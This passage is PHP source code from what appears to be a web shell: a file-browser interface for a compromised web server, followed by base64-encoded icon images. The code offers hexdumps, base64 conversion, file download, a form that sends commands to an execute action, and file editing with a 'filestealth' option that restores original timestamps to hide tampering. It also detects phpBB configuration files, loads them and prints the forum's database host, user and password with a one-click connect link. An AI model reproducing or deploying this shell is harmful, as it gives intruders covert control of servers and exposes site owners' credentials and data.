  2008. array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2009. array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2010. array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2011. array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2012. );
  2013. echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2014. foreach($arr as $t) {
  2015. if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2016. elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2017. else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2018. echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2019. }
  2020. echo "<hr size=\"1\" noshade>";
  2021. if ($ft == "info") {
  2022. echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2023. if (!$win) {
  2024. echo "<tr><td><b>Owner/Group</b></td><td> ";
  2025. $ow = posix_getpwuid(fileowner($d.$f));
  2026. $gr = posix_getgrgid(filegroup($d.$f));
  2027. echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2028. }
  2029. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  2030. $fi = fopen($d.$f,"rb");
  2031. if ($fi) {
  2032. if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2033. else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2034. $n = 0;
  2035. $a0 = "00000000<br>";
  2036. $a1 = "";
  2037. $a2 = "";
  2038. for ($i=0; $i<strlen($str); $i++) {
  2039. $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2040. switch (ord($str[$i])) {
  2041. case 0: $a2 .= "<font>0</font>"; break;
  2042. case 32:
  2043. case 10:
  2044. case 13: $a2 .= "&nbsp;"; break;
  2045. default: $a2 .= htmlspecialchars($str[$i]);
  2046. }
  2047. $n++;
  2048. if ($n == $hexdump_rows) {
  2049. $n = 0;
  2050. if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2051. $a1 .= "<br>";
  2052. $a2 .= "<br>";
  2053. }
  2054. }
  2055. echo "<table border=1 bgcolor=#666666>".
  2056. "<tr><td bgcolor=#666666>".$a0."</td>".
  2057. "<td bgcolor=#000000>".$a1."</td>".
  2058. "<td bgcolor=#000000>".$a2."</td>".
  2059. "</tr></table><br>";
  2060. }
  2061. $encoded = "";
  2062. if ($base64 == 1) {
  2063. echo "<b>Base64 Encode</b><br>";
  2064. $encoded = base64_encode(file_get_contents($d.$f));
  2065. }
  2066. elseif($base64 == 2) {
  2067. echo "<b>Base64 Encode + Chunk</b><br>";
  2068. $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2069. }
  2070. elseif($base64 == 3) {
  2071. echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2072. $encoded = base64_encode(file_get_contents($d.$f));
  2073. $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2074. }
  2075. elseif($base64 == 4) {
  2076. $text = file_get_contents($d.$f);
  2077. $encoded = base64_decode($text);
  2078. echo "<b>Base64 Decode";
  2079. if (base64_encode($encoded) != $text) {echo " (failed)";}
  2080. echo "</b><br>";
  2081. }
  2082. if (!empty($encoded))
  2083. {
  2084. echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2085. }
  2086. echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2087. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2088. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2089. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2090. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2091. <P>";
  2092. }
  2093. elseif ($ft == "html") {
  2094. if ($white) {@ob_clean();}
  2095. echo $r;
  2096. if ($white) {fx29shexit();}
  2097. }
  2098. elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2099. elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2100. elseif ($ft == "phpsess") {
  2101. echo "<pre>";
  2102. $v = explode("|",$r);
  2103. echo $v[0]."<br>";
  2104. var_dump(unserialize($v[1]));
  2105. echo "</pre>";
  2106. }
  2107. elseif ($ft == "exe") {
  2108. $ext = explode(".",$f);
  2109. $c = count($ext)-1;
  2110. $ext = $ext[$c];
  2111. $ext = strtolower($ext);
  2112. $rft = "";
  2113. foreach($exeftypes as $k=>$v)
  2114. {
  2115. if (in_array($ext,$v)) {$rft = $k; break;}
  2116. }
  2117. $cmd = str_replace("%f%",$f,$rft);
  2118. echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2119. }
  2120. elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2121. elseif ($ft == "code") {
  2122. if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  2123. $arr = explode("\n",$r);
  2124. if (count($arr == 18)) {
  2125. include($d.$f);
  2126. echo "<b>phpBB configuration is detected in this file!<br>";
  2127. if ($dbms == "mysql4") {$dbms = "mysql";}
  2128. if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2129. else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  2130. echo "Parameters for manual connect:<br>";
  2131. $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2132. foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2133. echo "</b><hr size=\"1\" noshade>";
  2134. }
  2135. }
  2136. echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2137. if (!empty($white)) {@ob_clean();}
  2138. highlight_file($d.$f);
  2139. if (!empty($white)) {fx29shexit();}
  2140. echo "</div>";
  2141. }
  2142. elseif ($ft == "download") {
  2143. @ob_clean();
  2144. header("Content-type: application/octet-stream");
  2145. header("Content-length: ".filesize($d.$f));
  2146. header("Content-disposition: attachment; filename=\"".$f."\";");
  2147. echo $r;
  2148. exit;
  2149. }
  2150. elseif ($ft == "notepad") {
  2151. @ob_clean();
  2152. header("Content-type: text/plain");
  2153. header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2154. echo($r);
  2155. exit;
  2156. }
  2157. elseif ($ft == "img") {
  2158. $inf = getimagesize($d.$f);
  2159. if (!$white) {
  2160. if (empty($imgsize)) {$imgsize = 20;}
  2161. $width = $inf[0]/100*$imgsize;
  2162. $height = $inf[1]/100*$imgsize;
  2163. echo "<center><b>Size:</b>&nbsp;";
  2164. $sizes = array("100","50","20");
  2165. foreach ($sizes as $v) {
  2166. echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2167. if ($imgsize != $v ) {echo $v;}
  2168. else {echo "<u>".$v."</u>";}
  2169. echo "</a>&nbsp;&nbsp;&nbsp;";
  2170. }
  2171. echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2172. }
  2173. else {
  2174. @ob_clean();
  2175. $ext = explode($f,".");
  2176. $ext = $ext[count($ext)-1];
  2177. header("Content-type: ".$inf["mime"]);
  2178. readfile($d.$f);
  2179. exit;
  2180. }
  2181. }
  2182. elseif ($ft == "edit") {
  2183. if (!empty($submit))
  2184. {
  2185. if ($filestealth) {$stat = stat($d.$f);}
  2186. $fp = fopen($d.$f,"w");
  2187. if (!$fp) {echo "<b>Can't write to file!</b>";}
  2188. else
  2189. {
  2190. echo "<b>Saved!</b>";
  2191. fwrite($fp,$edit_text);
  2192. fclose($fp);
  2193. if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2194. $r = $edit_text;
  2195. }
  2196. }
  2197. $rows = count(explode("\r\n",$r));
  2198. if ($rows < 10) {$rows = 10;}
  2199. if ($rows > 30) {$rows = 30;}
  2200. echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2201. }
  2202. elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2203. else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
  2204. }
  2205. echo "</div>\n";
  2206. }
  2207. }
  2208. else {
  2209. @ob_clean();
  2210. $images = array(
  2211. "arrow_ltr"=>
  2212. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2213. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2214. "back"=>
  2215. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2216. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2217. "Wg0JADs=",
  2218. "buffer"=>
  2219. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2220. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2221. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2222. "change"=>
  2223. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2224. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2225. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2226. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2227. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2228. "zMshADs=",
  2229. "delete"=>
  2230. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2231. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2232. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2233. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2234. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2235. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2236. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2237. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2238. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2239. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2240. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2241. "download"=>
  2242. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2243. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2244. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2245. "forward"=>
  2246. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2247. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2248. "WqsJADs=",
  2249. "home"=>
  2250. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2251. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2252. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2253. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2254. "mode"=>
  2255. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2256. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2257. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2258. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2259. "search"=>
  2260. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2261. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2262. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2263. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2264. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2265. "setup"=>
  2266. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2267. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2268. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2269. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2270. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2271. "small_dir"=>
  2272. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2273. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2274. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2275. "small_unk"=>
  2276. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2277. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2278. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2279. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2280. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2281. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2282. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2283. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2284. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2285. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2286. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2287. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2288. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2289. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2290. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2291. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2292. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2293. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2294. "yAsokBkQADs=",
  2295. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2296. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2297. "sort_asc"=>
  2298. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2299. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2300. "sort_desc"=>
  2301. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2302. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2303. "sql_button_drop"=>
  2304. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2305. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2306. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2307. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2308. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2309. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2310. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2311. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2312. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2313. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2314. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2315. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2316. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2317. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2318. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2319. "AQEAOw==",
  2320. "sql_button_empty"=>
  2321. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2322. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2323. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2324. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2325. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2326. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2327. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2328. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2329. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2330. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2331. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2332. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2333. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2334. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2335. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2336. "sql_button_insert"=>
  2337. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2338. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2339. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2340. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2341. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2342. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2343. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2344. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2345. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2346. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2347. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
